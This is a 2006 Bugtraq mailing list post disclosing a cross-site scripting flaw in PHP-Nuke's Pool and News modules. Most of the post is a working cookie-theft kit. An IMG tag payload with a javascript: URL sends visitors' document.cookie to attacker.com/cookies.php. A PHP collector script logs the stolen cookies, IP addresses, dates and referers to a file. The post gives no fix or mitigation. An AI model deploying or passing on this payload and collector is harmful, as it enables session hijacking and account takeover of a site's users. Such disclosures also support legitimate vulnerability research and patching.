Bugtraq mailing list archives
Php-Nuke Pool and News Module IMG Tag Cross Site
From: night_warrior771 () hotmail com
Date: 7 Jan 2006 10:10:24 -0000
##Night_Warrior<Kurdihs Hacker> ##night_warrior771[at]hotmail.com ##Php-Nuke Pool and News Module IMG Tag Cross Site Scripting ##Contact :night_warrior771[at]hotmail.com Post Coment this Code: <img src="javascript:window.navigate('http://attacker.com/cookies.php?c='+document.cookie);" cookies.php $cookie = $_GET['c']; $ip = getenv ('REMOTE_ADDR'); $date=date("j F, Y, g:i a"); $referer=getenv ('HTTP_REFERER'); $fp = fopen('steal.php', 'a'); fwrite($fp, ' Cookie: '.$cookie.' IP: ' .$ip. ' Date and Time: ' .$date. ' Referer: '.$referer.' '); fclose($fp); ?>
Current thread:
- Php-Nuke Pool and News Module IMG Tag Cross Site night_warrior771 (Jan 09)